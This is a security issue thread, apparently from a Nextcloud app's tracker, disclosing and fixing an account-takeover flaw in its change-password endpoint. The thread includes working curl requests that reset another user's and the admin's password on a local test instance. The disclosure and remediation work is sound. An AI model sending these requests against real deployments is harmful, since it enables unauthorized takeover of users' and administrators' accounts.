[CRITICAL] C1: Account takeover — any user can reset any other user's password

[rubenvdlinde]

Severity: CRITICAL

Location: lib/Controller/ContactpersonenController.php lines 505–581

Description:
POST /api/contactpersonen/change-password is annotated @NoAdminRequired. The only access check is that the caller is logged in — there is no verification that username in the body matches the currently authenticated user, and no current-password confirmation. Any authenticated user can supply an arbitrary username in the JSON body and overwrite that account's password.

Scenario:

POST /api/contactpersonen/change-password
{"username":"admin","newPassword":"Attacker1!"}

Sent as any non-admin user → admin password is reset → full admin takeover.

Suggested fix:

• Drop @NoAdminRequired or add a service-layer check: username === currentUser->getUID() || isAdmin().
• For self-service flows require current-password verification before accepting a new password.

---

Source: deep team-reviewer pass 2026-05-27

[rubenvdlinde]

Runtime verification: CONFIRMED CRITICAL

Verdict: CONFIRMED — full admin takeover via unauthenticated password reset.

Reproduction

Pre-conditions: two non-admin Nextcloud users (swcverify-attacker, swcverify-victim), no group membership. Both authenticate via basic auth.

Step 1 — attacker resets victim's password:

curl -X POST -u "swcverify-attacker:AttackerPass1234!" \
  -H "Content-Type: application/json" -H "OCS-APIRequest: true" \
  "http://localhost:8080/index.php/apps/softwarecatalog/api/contactpersonen/change-password" \
  -d '{"username":"swcverify-victim","newPassword":"PwnedPass1234!"}'

Response: HTTP/1.1 200 OK with {"success":true,"message":"Password changed successfully"}. X-User-Id: swcverify-attacker.

Step 2 — log in as victim with attacker-chosen password:

curl -u "swcverify-victim:PwnedPass1234!" -H "OCS-APIRequest: true" \
  "http://localhost:8080/ocs/v1.php/cloud/user?format=json"

Response: 200 OK, "status":"ok", "id":"swcverify-victim". Login works.

Step 3 — admin takeover (the worst case):

curl -X POST -u "swcverify-attacker:AttackerPass1234!" \
  -H "Content-Type: application/json" \
  "http://localhost:8080/index.php/apps/softwarecatalog/api/contactpersonen/change-password" \
  -d '{"username":"admin","newPassword":"AdminPwned1234!"}'

Response: 200 OK, {"success":true,"message":"Password changed successfully"}.

Verified the admin password really was changed by then authenticating with the new password — 200 OK, "id":"admin", "storageLocation":"/var/www/html/data/admin". Original admin password had to be restored via occ user:resetpassword from inside the container (test env recovery).

Code evidence

lib/Controller/ContactpersonenController.php:483-565 — changePassword() is @NoAdminRequired and contains zero ownership/admin checks:

• no comparison of $username against $this->userSession->getUser()->getUID()
• no current-password verification
• only validation is strlen($newPassword) < 10 and Nextcloud's built-in policy check via IUser::setPassword()

Suggested fix (matches issue)

The issue's suggested fix is correct: enforce username === currentUser->getUID() || isAdmin() at the top of changePassword(), and require current-password verification for self-service. Safe to ship a fix.

---

Verified runtime 2026-05-27 on local NC docker (custom_apps/softwarecatalog 0.2.0, NC 32.0.5.0). Test users cleaned up.

[rubenvdlinde]

Fixed in #353 (squash-merged to development). All auth gates applied; see PR for per-issue detail.